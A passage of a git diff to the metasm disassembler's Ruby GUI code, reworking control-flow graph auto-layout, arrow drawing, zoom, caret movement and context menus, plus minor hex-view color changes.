g.to.include?(g2_.to.first)) or - (not strict and g2_.to.empty?) } - next if strict and g2.from != [g] or g.to.length != 2 - g2.h += 16 ; g2.y -= 8 - align_vt[[g, g2]] - dx = -g2.x+8 - dx -= g2.w+16 if group_inv_if[g] - move_group[g2, dx, 0] - merge_groups[[g, g2]] - true - } - } - - # if (a || b) c; - # the 'else' case handles '&& else', and && is two if/then nested - group_or = lambda { |strict| - groups.find { |g| - next if g.to.length != 2 - g2 = g.to[0] - g2 = g.to[1] if not g2.to.include? g.to[1] - thn = (g.to & g2.to).first - next if g2.to.length != 2 or not thn or thn.to.length != 1 - els = (g2.to - [thn]).first - if thn.to == [els] - els = nil - elsif els.to != thn.to - next if strict - align_vt[[g, g2]] - merge_groups[[g, g2]] - break true - else - align_hz[[thn, els]] - thn = merge_groups[[thn, els]] - end - thn.h += 16 ; thn.y -= 8 - align_vt[[g, g2, thn]] - move_group[g2, -g2.x, 0] - move_group[thn, thn.x-8, 0] if not els - merge_groups[[g, g2, thn]] - true - } - } - - - # loop with exit 1 -> 2, 3 & 2 -> 1 - group_loop = lambda { - groups.find { |g| - next if not g2 = g.to.sort_by { |g2_| g2_.h }.find { |g2_| g2_.to == [g] or (g2_.to.empty? and g2_.from == [g]) } - g2.h += 16 - align_vt[[g, g2]] - move_group[g2, g2.x-8, 0] - merge_groups[[g, g2]] - true - } - } - - # same single from or to - group_halflines = lambda { - ary = nil - if groups.find { |g| ary = g.from.find_all { |gg| gg.to == [g] } and ary.length > 1 } or - groups.find { |g| ary = g.to.find_all { |gg| gg.from == [g] } and ary.length > 1 } - align_hz[ary] - merge_groups[ary] - true - end - } - - - # unknown pattern, group as we can.. - group_other = lambda { -puts 'graph arrange: unknown configuration', dump_layout - g1 = groups.find_all { |g| g.from.empty? } - g1 << groups[rand(groups.length)] if g1.empty? - g2 = g1.map { |g| g.to }.flatten.uniq - g1 - align_vt[g1] - g1 = merge_groups[g1] - g1.w += 128 ; g1.x -= 64 - next if g2.empty? - align_vt[g2] - g2 = merge_groups[g2] - g2.w += 128 ; g2.x -= 64 - - align_hz[[g1, g2]] - merge_groups[[g1, g2]] - true - } - - # check constructs with multiple blocks with to to end block (a la break;) - ign_break = lambda { - can_reach = lambda { |b1, b2, term| - next if b1 == term - done = [term] - todo = b1.to.dup - while t = todo.pop - next if done.include? t - done << t - break true if t == b2 - todo.concat t.to - end - } - can_reach_unidir = lambda { |b1, b2, term| can_reach[b1, b2, term] and not can_reach[b2, b1, term] } - groups.find { |g| - f2 = nil - if (g.from.length > 2 and f3 = g.from.find { |f| f.to == [g] } and f1 = g.from.find { |f| - f2 = g.from.find { |ff| can_reach_unidir[ff, f3, g] and can_reach_unidir[f, ff, g] }}) or - (g.to.length > 2 and f3 = g.to.find { |f| f.from == [g] } and f1 = g.to.find { |f| - f2 = g.to.find { |ff| can_reach_unidir[f3, ff, g] and can_reach_unidir[ff, f, g] }}) - group_inv_if[f1] = true - if f3.to == [g] - g.from.delete f2 - f2.to.delete g - else - g.to.delete f2 - f2.from.delete g - end - true - end - } - } - - # walk graph from roots, cut backward links - trim_graph = lambda { - next true if ign_break[] - g1 = groups.find_all { |g| g.from.empty? } - g1 << groups.first if g1.empty? - cntpre = groups.inject(0) { |cntpre_, g| cntpre_ + g.to.length } - g1.each { |g| maketree[[g]] } - cntpost = groups.inject(0) { |cntpre_, g| cntpre_ + g.to.length } - true if cntpre != cntpost - } - - # known, clean patterns - group_clean = lambda { - group_columns[] or group_lines[true] or group_ifthen[true] or group_loop[] or group_or[true] - } - # approximations - group_unclean = lambda { - group_lines[false] or group_or[false] or group_halflines[] or group_ifthen[false] or group_other[] - } - - group_clean[] or trim_graph[] or group_unclean[] - end - - # the boxes have been almost put in place, here we soften a little the result & arrange some qwirks def auto_arrange_post - # entrypoint should be above other boxes, same for exitpoints - @box.each { |b| - if b.from == [] - chld = b.to - chld = @box - [b] if not @box.find { |bb| bb != b and bb.from == [] } - chld.each { |t| b.y = t.y - b.h - 16 if t.y < b.y+b.h } - end - if b.to == [] - chld = b.from - chld = @box - [b] if not @box.find { |bb| bb != b and bb.to == [] } - chld.each { |f| b.y = f.y + f.h + 16 if f.y+f.h > b.y } - end - } + auto_arrange_movebox + #auto_arrange_vertical_shrink + end - boxxy = @box.sort_by { |bb| bb.y } - # fill gaps that we created - @box.each { |b| - bottom = b.y+b.h - next if not follower = boxxy.find { |bb| bb.y+bb.h > bottom } - - # preserve line[] constructs margins - gap = follower.y-16*follower.from.length - (bottom+16*b.to.length) - next if gap <= 0 - - @box.each { |bb| - if bb.y+bb.h <= bottom - bb.y += gap/2 - else - bb.y -= gap/2 - end + # actually move boxes inside the groups + def auto_arrange_movebox + @groups.each { |g| + dx = (g.x + g.w/2).to_i + dy = (g.y + g.h/2).to_i + g.content.each { |b| + b.x += dx + b.y += dy } - boxxy = @box.sort_by { |bb| bb.y } - } - - @box[0,0].each { |b| - # TODO elastic positionning (ignore up arrows ?) & collision detection (box/box + box/arrow) - f = b.from[0] - t = b.to[0] - if b.to.length == 1 and b.from.length == 1 and b.y+b.hf.y+f.h - wx = (t.x+t.w/2 + f.x+f.w/2)/2 - b.w/2 - wy = (t.y + f.y+f.h)/2 - b.h/2 - b.x += (wx-b.x)/5 - b.y += (wy-b.y)/5 - end + } + end + + def auto_arrange_vertical_shrink + # vertical shrink + # TODO stuff may shrink vertically more if we could move it slightly horizontally... + @box.sort_by { |b| b.y }.each { |b| + + next if b.from.empty? + # move box up to its from, unless something blocks the way + + min_y = b.from.map { |bb| + bb.y+bb.h + }.find_all { |by| + by <= b.y + }.max + + moo = [] + moo << 8*b.from.length + moo << 8*b.from[0].to.length + cx = b.x+b.w/2 + moo << b.from.map { |bb| (cx - (bb.x+bb.w/2)).abs }.max / 10 + cx = b.from[0].x+b.from[0].w/2 + moo << b.from[0].to.map { |bb| (cx - (bb.x+bb.w/2)).abs }.max / 10 + margin_y = 16 + moo.max + + next if not min_y or b.y <= min_y + margin_y + + blocking = @box.find_all { |bb| + next if bb == b + bb.y+bb.h > min_y and bb.y+bb.h < b.y and + bb.x-12 < b.x+b.w and bb.x+bb.w+12 > b.x + } + + may_y = blocking.map { |bb| bb.y+bb.h } << min_y + + do_y = may_y.sort.map { |by| by + margin_y }.find { |by| + # should not collision with b if moved to by+margin_y + not blocking.find { |bb| + bb.x-12 < b.x+b.w and bb.x+bb.w+12 > b.x and + bb.y-12 < by+b.h and bb.y+bb.h+12 > by + } + } + + b.y = do_y if do_y < b.y + + # no need to re-sort outer loop } + # TODO + # energy-minimal positionning of boxes from this basic layout + # avoid arrow confusions end def auto_arrange_boxes auto_arrange_init nil while @groups.length > 1 and auto_arrange_step - @groups = [] auto_arrange_post + @groups = [] + end + + # gives a text representation of the current graph state + def dump_layout(groups=@groups) + groups.map { |g| "#{groups.index(g)} -> #{g.to.map { |t| groups.index(t) }.sort.inspect}" } end end @@ -488,23 +758,27 @@ class GraphViewWidget < DrawableWidget @shown_boxes = [] @mousemove_origin = @mousemove_origin_ctrl = nil @curcontext = Graph.new(nil) + @want_focus_addr = nil @margin = 8 @zoom = 1.0 - @default_color_association = { :background => :paleblue, :hlbox_bg => :palegrey, :box_bg => :white, - :text => :black, :arrow_hl => :red, :comment => :darkblue, :address => :darkblue, - :instruction => :black, :label => :darkgreen, :caret => :black, :hl_word => :palered, - :cursorline_bg => :paleyellow, :arrow_cond => :darkgreen, :arrow_uncond => :darkblue, - :arrow_direct => :darkred } + @default_color_association = ColorTheme.merge :hlbox_bg => :palegrey, :box_bg => :white, + :arrow_hl => :red, :arrow_cond => :darkgreen, :arrow_uncond => :darkblue, + :arrow_direct => :darkred, :box_bg_shadow => :black, :background => :paleblue # @othergraphs = ? (to keep user-specified formatting) end + def view_x; @curcontext.view_x; end + def view_x=(vx); @curcontext.view_x = vx; end + def view_y; @curcontext.view_y; end + def view_y=(vy); @curcontext.view_y = vy; end + def resized(w, h) redraw end def find_box_xy(x, y) - x = @curcontext.view_x+x/@zoom - y = @curcontext.view_y+y/@zoom + x = view_x+x/@zoom + y = view_y+y/@zoom @shown_boxes.to_a.reverse.find { |b| b.x <= x and b.x+b.w > x and b.y <= y-1 and b.y+b.h > y+1 } end @@ -512,6 +786,7 @@ class GraphViewWidget < DrawableWidget case dir when :up if @zoom < 100 + # zoom in oldzoom = @zoom @zoom *= 1.1 @zoom = 1.0 if (@zoom-1.0).abs < 0.05 @@ -519,7 +794,8 @@ class GraphViewWidget < DrawableWidget @curcontext.view_y += (y / oldzoom - y / @zoom) end when :down - if @zoom > 1.0/100 + if @zoom > 1.0/1000 + # zoom out oldzoom = @zoom @zoom /= 1.1 @zoom = 1.0 if (@zoom-1.0).abs < 0.05 @@ -557,10 +833,10 @@ class GraphViewWidget < DrawableWidget @mousemove_origin = nil if @mousemove_origin_ctrl - x1 = @curcontext.view_x + @mousemove_origin_ctrl[0]/@zoom + x1 = view_x + @mousemove_origin_ctrl[0]/@zoom x2 = x1 + (x - @mousemove_origin_ctrl[0])/@zoom x1, x2 = x2, x1 if x1 > x2 - y1 = @curcontext.view_y + @mousemove_origin_ctrl[1]/@zoom + y1 = view_y + @mousemove_origin_ctrl[1]/@zoom y2 = y1 + (y - @mousemove_origin_ctrl[1])/@zoom y1, y2 = y2, y1 if y1 > y2 @selected_boxes |= @curcontext.box.find_all { |b| b.x >= x1 and b.x + b.w <= x2 and b.y >= y1 and b.y + b.h <= y2 } @@ -587,8 +863,8 @@ class GraphViewWidget < DrawableWidget if b = find_box_xy(x, y) @selected_boxes = [b] if not @selected_boxes.include? b @caret_box = b - @caret_x = (@curcontext.view_x+x/@zoom-b.x-1).to_i / @font_width - @caret_y = (@curcontext.view_y+y/@zoom-b.y-1).to_i / @font_height + @caret_x = (view_x+x/@zoom-b.x-1).to_i / @font_width + @caret_y = (view_y+y/@zoom-b.y-1).to_i / @font_height update_caret else @selected_boxes = [] @@ -597,22 +873,43 @@ class GraphViewWidget < DrawableWidget redraw end + def setup_contextmenu(b, m) + cm = new_menu + addsubmenu(cm, 'copy _word') { clipboard_copy(@hl_word) if @hl_word } + addsubmenu(cm, 'copy _line') { clipboard_copy(@caret_box[:line_text_col][@caret_y].map { |ss, cc| ss }.join) } + addsubmenu(cm, 'copy _box') { + sb = @selected_boxes + sb = [@curbox] if sb.empty? + clipboard_copy(sb.map { |ob| ob[:line_text_col].map { |s| s.map { |ss, cc| ss }.join + "\r\n" }.join }.join("\r\n")) + } # XXX auto \r\n vs \n + addsubmenu(m, '_clipboard', cm) + addsubmenu(m, 'clone _window') { @parent_widget.clone_window(@hl_word, :graph) } + addsubmenu(m, 'show descendants only') { hide_non_descendants(@selected_boxes) } + addsubmenu(m, 'show ascendants only') { hide_non_ascendants(@selected_boxes) } + addsubmenu(m, 'restore graph') { gui_update } + end + # if the target is a call to a subfunction, open a new window with the graph of this function (popup) def rightclick(x, y) if b = find_box_xy(x, y) and @zoom >= 0.90 and @zoom <= 1.1 click(x, y) @mousemove_origin = nil - @parent_widget.clone_window(@hl_word, :graph) + m = new_menu + setup_contextmenu(b, m) + if @parent_widget.respond_to?(:extend_contextmenu) + @parent_widget.extend_contextmenu(self, m, @caret_box[:line_address][@caret_y]) + end + popupmenu(m, x, y) end end def doubleclick(x, y) + @mousemove_origin = nil if b = find_box_xy(x, y) - @mousemove_origin = nil if @hl_word and @zoom >= 0.90 and @zoom <= 1.1 @parent_widget.focus_addr(@hl_word) else - @parent_widget.focus_addr b[:addresses].first + @parent_widget.focus_addr((b[:addresses] || b[:line_address]).first) end elsif doubleclick_check_arrow(x, y) elsif @zoom == 1.0 @@ -628,20 +925,21 @@ class GraphViewWidget < DrawableWidget # check if the user clicked on the beginning/end of an arrow, if so focus on the other end def doubleclick_check_arrow(x, y) return if @margin*@zoom < 2 - x = @curcontext.view_x+x/@zoom - y = @curcontext.view_y+y/@zoom + x = view_x+x/@zoom + y = view_y+y/@zoom sx = nil if bt = @shown_boxes.to_a.reverse.find { |b| y >= b.y+b.h-1 and y <= b.y+b.h-1+@margin+2 and sx = b.x+b.w/2 - b.to.length/2 * @margin/2 and - x >= sx-@margin/2 and x <= sx+b.to.length*@margin/2 # should be margin/4, but add a little comfort margin + x >= sx-@margin/2 and x <= sx+b.to.length*@margin/2 # should be margin/4, but add a little comfort margin } idx = (x-sx+@margin/4).to_i / (@margin/2) idx = 0 if idx < 0 idx = bt.to.length-1 if idx >= bt.to.length if bt.to[idx] if @parent_widget - @parent_widget.focus_addr bt.to[idx][:line_address][0] + @caret_box, @caret_y = bt, bt[:line_address].length-1 + @parent_widget.focus_addr bt.to[idx][:line_address][0] else focus_xy(bt.to[idx].x, bt.to[idx].y) end @@ -650,14 +948,15 @@ class GraphViewWidget < DrawableWidget elsif bf = @shown_boxes.to_a.reverse.find { |b| y >= b.y-@margin-2 and y <= b.y and sx = b.x+b.w/2 - b.from.length/2 * @margin/2 and - x >= sx-@margin/2 and x <= sx+b.from.length*@margin/2 + x >= sx-@margin/2 and x <= sx+b.from.length*@margin/2 } idx = (x-sx+@margin/4).to_i / (@margin/2) idx = 0 if idx < 0 idx = bf.from.length-1 if idx >= bf.from.length if bf.from[idx] if @parent_widget - @parent_widget.focus_addr bf.from[idx][:line_address][-1] + @caret_box, @caret_y = bf, bf[:line_address].length-1 + @parent_widget.focus_addr bf.from[idx][:line_address][-1] else focus_xy(bt.from[idx].x, bt.from[idx].y) end @@ -668,10 +967,12 @@ class GraphViewWidget < DrawableWidget # update the zoom & view_xy to show the whole graph in the window def zoom_all - minx = @curcontext.box.map { |b| b.x }.min.to_i - 10 - miny = @curcontext.box.map { |b| b.y }.min.to_i - 10 - maxx = @curcontext.box.map { |b| b.x + b.w }.max.to_i + 10 - maxy = @curcontext.box.map { |b| b.y + b.h }.max.to_i + 10 + minx, miny, maxx, maxy = @curcontext.boundingbox + minx -= @margin + miny -= @margin + maxx += @margin + maxy += @margin + @zoom = [width.to_f/(maxx-minx), height.to_f/(maxy-miny)].min @zoom = 1.0 if @zoom > 1.0 or (@zoom-1.0).abs < 0.1 @curcontext.view_x = minx + (maxx-minx-width/@zoom)/2 @@ -699,9 +1000,10 @@ class GraphViewWidget < DrawableWidget } @shown_boxes = [] - w_w, w_h = width, height + w_w = width + w_h = height @curcontext.box.each { |b| - next if b.x >= @curcontext.view_x+w_w/@zoom or b.y >= @curcontext.view_y+w_h/@zoom or b.x+b.w <= @curcontext.view_x or b.y+b.h <= @curcontext.view_y + next if b.x >= view_x+w_w/@zoom or b.y >= view_y+w_h/@zoom or b.x+b.w <= view_x or b.y+b.h <= view_y @shown_boxes << b paint_box(b) } @@ -720,9 +1022,10 @@ class GraphViewWidget < DrawableWidget end def paint_arrow(b1, b2) - x1, y1 = b1.x+b1.w/2-@curcontext.view_x, b1.y+b1.h-@curcontext.view_y - x2, y2 = b2.x+b2.w/2-@curcontext.view_x, b2.y-1-@curcontext.view_y - x1o, x2o = x1, x2 + x1 = x1o = b1.x+b1.w/2-view_x + y1 = b1.y+b1.h-view_y + x2 = x2o = b2.x+b2.w/2-view_x + y2 = b2.y-1-view_y margin = @margin x1 += (-(b1.to.length-1)/2 + b1.to.index(b2)) * margin/2 x2 += (-(b2.from.length-1)/2 + b2.from.index(b1)) * margin/2 @@ -730,12 +1033,6 @@ class GraphViewWidget < DrawableWidget margin, x1, y1, x2, y2, b1w, b2w, x1o, x2o = [margin, x1, y1, x2, y2, b1.w, b2.w, x1o, x2o].map { |v| v*@zoom } - # XXX gtk wraps coords around 0x8000 - if x1.abs > 0x7000 ; y1 /= x1.abs/0x7000 ; x1 /= x1.abs/0x7000 ; end - if y1.abs > 0x7000 ; x1 /= y1.abs/0x7000 ; y1 /= y1.abs/0x7000 ; end - if x2.abs > 0x7000 ; y2 /= x2.abs/0x7000 ; x2 /= x2.abs/0x7000 ; end - if y2.abs > 0x7000 ; x2 /= y2.abs/0x7000 ; y2 /= y2.abs/0x7000 ; end - # straighten vertical arrows if possible if y2 > y1 and (x1-x2).abs <= margin if b1.to.length == 1 @@ -755,26 +1052,13 @@ class GraphViewWidget < DrawableWidget y1 += margin y2 -= margin-1 end - if y2+margin >= y1-margin-1 - # straight vertical down arrow + + if y2 > y1 - b1.h*@zoom - 2*margin+1 + # straight arrow draw_line(x1, y1, x2, y2) if x1 != y1 or x2 != y2 - # else arrow up, need to sneak around boxes - elsif x1o-b1w/2-margin >= x2o+b2w/2+margin # z - draw_line(x1, y1, x1o-b1w/2-margin, y1) - draw_line(x1o-b1w/2-margin, y1, x2o+b2w/2+margin, y2) - draw_line(x2o+b2w/2+margin, y2, x2, y2) - draw_line(x1, y1+1, x1o-b1w/2-margin, y1+1) # double - draw_line(x1o-b1w/2-margin+1, y1, x2o+b2w/2+margin+1, y2) - draw_line(x2o+b2w/2+margin, y2+1, x2, y2+1) - elsif x1+b1w/2+margin <= x2-b2w/2-margin # invert z - draw_line(x1, y1, x1o+b1w/2+margin, y1) - draw_line(x1o+b1w/2+margin, y1, x2o-b2w/2-margin, y2) - draw_line(x2o-b2w/2-margin, y2, x2, y2) - draw_line(x1, y1+1, x1+b1w/2+margin, y1+1) # double - draw_line(x1o+b1w/2+margin+1, y1, x2o-b2w/2-margin+1, y2) - draw_line(x2o-b2w/2-margin, y2+1, x2, y2+1) - else # turn around + else + # arrow goes up: navigate around b2 x = (x1 <= x2 ? [x1o-b1w/2-margin, x2o-b2w/2-margin].min : [x1o+b1w/2+margin, x2o+b2w/2+margin].max) draw_line(x1, y1, x, y1) draw_line(x, y1, x, y2) @@ -786,7 +1070,7 @@ class GraphViewWidget < DrawableWidget end def set_color_boxshadow(b) - draw_color :black + draw_color :box_bg_shadow end def set_color_box(b) @@ -799,28 +1083,29 @@ class GraphViewWidget < DrawableWidget def paint_box(b) set_color_boxshadow(b) - draw_rectangle((b.x-@curcontext.view_x+3)*@zoom, (b.y-@curcontext.view_y+4)*@zoom, b.w*@zoom, b.h*@zoom) + draw_rectangle((b.x-view_x+3)*@zoom, (b.y-view_y+4)*@zoom, b.w*@zoom, b.h*@zoom) set_color_box(b) - draw_rectangle((b.x-@curcontext.view_x)*@zoom, (b.y-@curcontext.view_y+1)*@zoom, b.w*@zoom, b.h*@zoom) + draw_rectangle((b.x-view_x)*@zoom, (b.y-view_y+1)*@zoom, b.w*@zoom, b.h*@zoom) # current text position - x = (b.x - @curcontext.view_x + 1)*@zoom - y = (b.y - @curcontext.view_y + 1)*@zoom - w_w = (b.x - @curcontext.view_x + b.w - @font_width)*@zoom - w_h = (b.y - @curcontext.view_y + b.h - @font_height)*@zoom + x = (b.x - view_x + 1)*@zoom + y = (b.y - view_y + 1)*@zoom + w_w = (b.x - view_x + b.w - @font_width)*@zoom + w_h = (b.y - view_y + b.h - @font_height)*@zoom + w_h = height if w_h > height if @parent_widget and @parent_widget.bg_color_callback ly = 0 b[:line_address].each { |a| if c = @parent_widget.bg_color_callback[a] - draw_rectangle_color(c, (b.x-@curcontext.view_x)*@zoom, (1+b.y-@curcontext.view_y+ly*@font_height)*@zoom, b.w*@zoom, (@font_height*@zoom).ceil) + draw_rectangle_color(c, (b.x-view_x)*@zoom, (1+b.y-view_y+ly*@font_height)*@zoom, b.w*@zoom, (@font_height*@zoom).ceil) end ly += 1 } end if @caret_box == b - draw_rectangle_color(:cursorline_bg, (b.x-@curcontext.view_x)*@zoom, (1+b.y-@curcontext.view_y+@caret_y*@font_height)*@zoom, b.w*@zoom, @font_height*@zoom) + draw_rectangle_color(:cursorline_bg, (b.x-view_x)*@zoom, (1+b.y-view_y+@caret_y*@font_height)*@zoom, b.w*@zoom, @font_height*@zoom) end return if @zoom < 0.99 or @zoom > 1.1 @@ -829,33 +1114,22 @@ class GraphViewWidget < DrawableWidget # renders a string at current cursor position with a color # must not include newline render = lambda { |str, color| - # function ends when we write under the bottom of the listing next if y >= w_h+2 or x >= w_w - if @hl_word - stmp = str - pre_x = 0 - while stmp =~ /^(.*?)(\b#{Regexp.escape @hl_word}\b)/ - s1, s2 = $1, $2 - pre_x += s1.length * @font_width - hl_x = s2.length * @font_width - draw_rectangle_color(:hl_word, x+pre_x, y, hl_x, @font_height*@zoom) - pre_x += hl_x - stmp = stmp[s1.length+s2.length..-1] - end - end - draw_string_color(color, x, y, str) + draw_string_hl(color, x, y, str) x += str.length * @font_width } + yoff = @font_height * @zoom b[:line_text_col].each { |list| - list.each { |s, c| render[s, c] } - x = (b.x - @curcontext.view_x + 1)*@zoom - y += @font_height*@zoom + list.each { |s, c| render[s, c] } if y >= -yoff + x = (b.x - view_x + 1)*@zoom + y += yoff + break if y > w_h+2 } if b == @caret_box and focus? - cx = (b.x - @curcontext.view_x + 1 + @caret_x*@font_width)*@zoom - cy = (b.y - @curcontext.view_y + 1 + @caret_y*@font_height)*@zoom + cx = (b.x - view_x + 1 + @caret_x*@font_width)*@zoom + cy = (b.y - view_y + 1 + @caret_y*@font_height)*@zoom draw_line_color(:caret, cx, cy, cx, cy+(@font_height-1)*@zoom) end end @@ -894,33 +1168,33 @@ class GraphViewWidget < DrawableWidget end def load_dotfile(path) + load_dot(File.read(path)) + end + + def load_dot(dota) @want_update_graph = false @curcontext.clear boxes = {} new_box = lambda { |text| b = @curcontext.new_box(text, :line_text_col => [[[text, :text]]]) - b.w = text.length * @font_width + b.w = (text.length+1) * @font_width b.h = @font_height b } - max = File.size(path) - i = 0 - File.open(path) { |fd| - while l = fd.gets - case l.strip - when /^"?(\w+)"?\s*->\s*"?(\w+)"?;?$/ - b1 = boxes[$1] ||= new_box[$1] - b2 = boxes[$2] ||= new_box[$2] - b1.to |= [b2] - b2.from |= [b1] - end -$stderr.printf("%.02f\r" % (fd.pos*100.0/max)) if (i += 1) & 0xff == 0 + dota.scan(/^.*$/) { |l| + a = l.strip.chomp(';').split(/->/).map { |s| s.strip.delete '"' } + next if not id = a.shift + b0 = boxes[id] ||= new_box[id] + while id = a.shift + b1 = boxes[id] ||= new_box[id] + b0.to |= [b1] + b1.from |= [b0] + b0 = b1 end } -p boxes.length redraw -rescue Interrupt -p boxes.length + rescue Interrupt + puts "dot_len #{boxes.length}" end # create the graph objects in ctx @@ -1009,7 +1283,7 @@ p boxes.length } end render["#{Expression[curaddr]} ", :address] if @show_addresses - render[di.instruction.to_s.ljust(di.comment ? 24 : 0), :instruction] + render[di.instruction.to_s.ljust(di.comment ? 18 : 0), :instruction] render[' ; ' + di.comment.join(' ')[0, 64], :comment] if di.comment nl[] else @@ -1042,6 +1316,8 @@ p boxes.length } @parent_widget.list_bghilight("search result for /#{pat}/i", list) { |i| @parent_widget.focus_addr i[0] } } + when ?+; mouse_wheel_ctrl(:up, width/2, height/2) + when ?-; mouse_wheel_ctrl(:down, width/2, height/2) else return false end true @@ -1135,16 +1411,18 @@ p boxes.length end when :pgup if @caret_box - @caret_y = 0 - update_caret + @caret_y -= (height/4/@zoom/@font_height).to_i + @caret_y = 0 if @caret_y < 0 + update_caret(false) else @curcontext.view_y -= height/4/@zoom redraw end when :pgdown if @caret_box - @caret_y = @caret_box[:line_address].length-1 - update_caret + @caret_y += (height/4/@zoom/@font_height).to_i + @caret_y = [@caret_box[:line_address].length-1, @caret_y].min + update_caret(false) else @curcontext.view_y += height/4/@zoom redraw @@ -1152,7 +1430,7 @@ p boxes.length when :home if @caret_box @caret_x = 0 - update_caret + update_caret(false) else @curcontext.view_x = @curcontext.box.map { |b_| b_.x }.min-10 @curcontext.view_y = @curcontext.box.map { |b_| b_.y }.min-10 @@ -1161,7 +1439,7 @@ p boxes.length when :end if @caret_box @caret_x = @caret_box[:line_text_col][@caret_y].to_a.map { |ss, cc| ss }.join.length - update_caret + update_caret(false) else @curcontext.view_x = [@curcontext.box.map { |b_| b_.x+b_.w }.max-width/@zoom+10, @curcontext.box.map { |b_| b_.x }.min-10].max @curcontext.view_y = [@curcontext.box.map { |b_| b_.y+b_.h }.max-height/@zoom+10, @curcontext.box.map { |b_| b_.y }.min-10].max @@ -1175,38 +1453,24 @@ p boxes.length b_.to.each { |bb| bb.from.delete b_ } } redraw + when :popupmenu + if @caret_box + cx = (@caret_box.x - view_x + 1 + @caret_x*@font_width)*@zoom + cy = (@caret_box.y - view_y + 1 + @caret_y*@font_height)*@zoom + rightclick(cx, cy) + end when ?a + t0 = Time.now puts 'autoarrange' @curcontext.auto_arrange_boxes redraw - puts 'autoarrange done' + puts 'autoarrange done %.02f' % (Time.now - t0) when ?u gui_update when ?R load __FILE__ - when ?S # reset - @curcontext.auto_arrange_init(@selected_boxes.empty? ? @curcontext.box : @selected_boxes) - puts 'reset', @curcontext.dump_layout, '' - zoom_all - redraw - when ?T # step auto_arrange - @curcontext.auto_arrange_step - puts @curcontext.dump_layout, '' - zoom_all - redraw - when ?L # post auto_arrange - @curcontext.auto_arrange_post - zoom_all - redraw - when ?V # shrink - @selected_boxes.each { |b_| - dx = (b_.from + b_.to).map { |bb| bb.x+bb.w/2 - b_.x-b_.w/2 } - dx = dx.inject(0) { |s, xx| s+xx }/dx.length - b_.x += dx - } - redraw when ?I # create arbitrary boxes/links if @selected_boxes.empty? @fakebox ||= 0 @@ -1217,7 +1481,7 @@ p boxes.length b.h = @font_height * 2 b.x = rand(200) - 100 b.y = rand(200) - 100 - + @fakebox += 1 else b1, *bl = @selected_boxes @@ -1229,8 +1493,8 @@ p boxes.length else b1.to << b2 b2.from << b1 - end - } + end + } end redraw @@ -1256,6 +1520,48 @@ p boxes.length true end + def hide_non_descendants(list) + reach = {} + todo = list.dup + while b = todo.pop + next if reach[b] + reach[b] = true + b.to.each { |bb| + todo << bb if bb.y+bb.h >= b.y + } + end + + @curcontext.box.delete_if { |bb| + !reach[bb] + } + @curcontext.box.each { |bb| + bb.from.delete_if { |bbb| !reach[bbb] } + bb.to.delete_if { |bbb| !reach[bbb] } + } + redraw + end + + def hide_non_ascendants(list) + reach = {} + todo = list.dup + while b = todo.pop + next if reach[b] + reach[b] = true + b.from.each { |bb| + todo << bb if bb.y <= b.h+b.y + } + end + + @curcontext.box.delete_if { |bb| + !reach[bb] + } + @curcontext.box.each { |bb| + bb.from.delete_if { |bbb| !reach[bbb] } + bb.to.delete_if { |bbb| !reach[bbb] } + } + redraw + end + # find a suitable array of graph roots, walking up from a block (function start/entrypoint) def dasm_find_roots(addr) todo = [addr] @@ -1312,7 +1618,6 @@ p boxes.length @curcontext.view_y += (height/2 / @zoom - height/2) @zoom = 1.0 - focus_xy(b.x, b.y + @caret_y*@font_height) update_caret elsif can_update_context @curcontext = Graph.new 'testic' @@ -1326,23 +1631,59 @@ p boxes.length end def focus_xy(x, y) - if not @curcontext.view_x or @curcontext.view_x*@zoom + width*3/4 < x or @curcontext.view_x*@zoom > x - @curcontext.view_x = (x - width/5)/@zoom + # dont move during a click + return if @mousemove_origin + + # ensure the caret stays onscreen + if not view_x + @curcontext.view_x = x - width/5/@zoom + redraw + elsif @caret_box and @caret_box.w < width*27/30/@zoom + # keep @caret_box full if possible + if view_x + width/20/@zoom > @caret_box.x + @curcontext.view_x = @caret_box.x-width/20/@zoom + elsif view_x + width*9/10/@zoom < @caret_box.x+@caret_box.w + @curcontext.view_x = @caret_box.x+@caret_box.w-width*9/10/@zoom + end + elsif view_x + width/20/@zoom > x + @curcontext.view_x = x-width/20/@zoom + redraw + elsif view_x + width*9/10/@zoom < x + @curcontext.view_x = x-width*9/10/@zoom redraw end - if not @curcontext.view_y or @curcontext.view_y*@zoom + height*3/4 < y or @curcontext.view_y*@zoom > y - @curcontext.view_y = (y - height/5)/@zoom + + if not view_y + @curcontext.view_y = y - height/5/@zoom + redraw + elsif @caret_box and @caret_box.h < height*27/30/@zoom + if view_y + height/20/@zoom > @caret_box.y + @curcontext.view_y = @caret_box.y-height/20/@zoom + elsif view_y + height*9/10/@zoom < @caret_box.y+@caret_box.h + @curcontext.view_y = @caret_box.y+@caret_box.h-height*9/10/@zoom + end + elsif view_y + height/20/@zoom > y + @curcontext.view_y = y-height/20/@zoom + redraw + elsif view_y + height*9/10/@zoom < y + @curcontext.view_y = y-height*9/10/@zoom redraw end end # hint that the caret moved # redraw, change the hilighted word - def update_caret - return if not @caret_box or not @caret_x or not l = @caret_box[:line_text_col][@caret_y] - l = l.map { |s, c| s }.join - @parent_widget.focus_changed_callback[] if @parent_widget and @parent_widget.focus_changed_callback and @oldcaret_y != @caret_y - update_hl_word(l, @caret_x) + def update_caret(update_hlword = true) + return if not b = @caret_box or not @caret_x or not l = @caret_box[:line_text_col][@caret_y] + + if update_hlword + l = l.map { |s, c| s }.join + @parent_widget.focus_changed_callback[] if @parent_widget and @parent_widget.focus_changed_callback and @oldcaret_y != @caret_y + update_hl_word(l, @caret_x) + end + + focus_xy(b.x + @caret_x*@font_width, b.y + @caret_y*@font_height) + redraw end diff --git a/lib/metasm/metasm/gui/dasm_hex.rb b/lib/metasm/metasm/gui/dasm_hex.rb index 3005edcf04..32422f84e2 100644 --- a/lib/metasm/metasm/gui/dasm_hex.rb +++ b/lib/metasm/metasm/gui/dasm_hex.rb @@ -42,12 +42,11 @@ class HexWidget < DrawableWidget @relative_addr = nil # show '+42h' in the addr column if not nil @hl_curbyte = true # draw grey bg for current byte - @default_color_association = { :ascii => :black, :data => :black, - :address => :blue, :caret => :black, :background => :white, - :write_pending => :darkred, :caret_mirror => :palegrey } + @default_color_association = ColorTheme.merge :ascii => :black, :data => :black, + :write_pending => :darkred, :caret_mirror => :palegrey end - def resized(w, h) + def resized(w=width, h=height) wc = w/@font_width hc = h/@font_height ca = current_address @@ -103,6 +102,7 @@ class HexWidget < DrawableWidget end else @data_size = {1 => 2, 2 => 4, 4 => 8, 8 => 1}[@data_size] + resized end redraw end @@ -231,7 +231,7 @@ class HexWidget < DrawableWidget end if @show_ascii and d x = 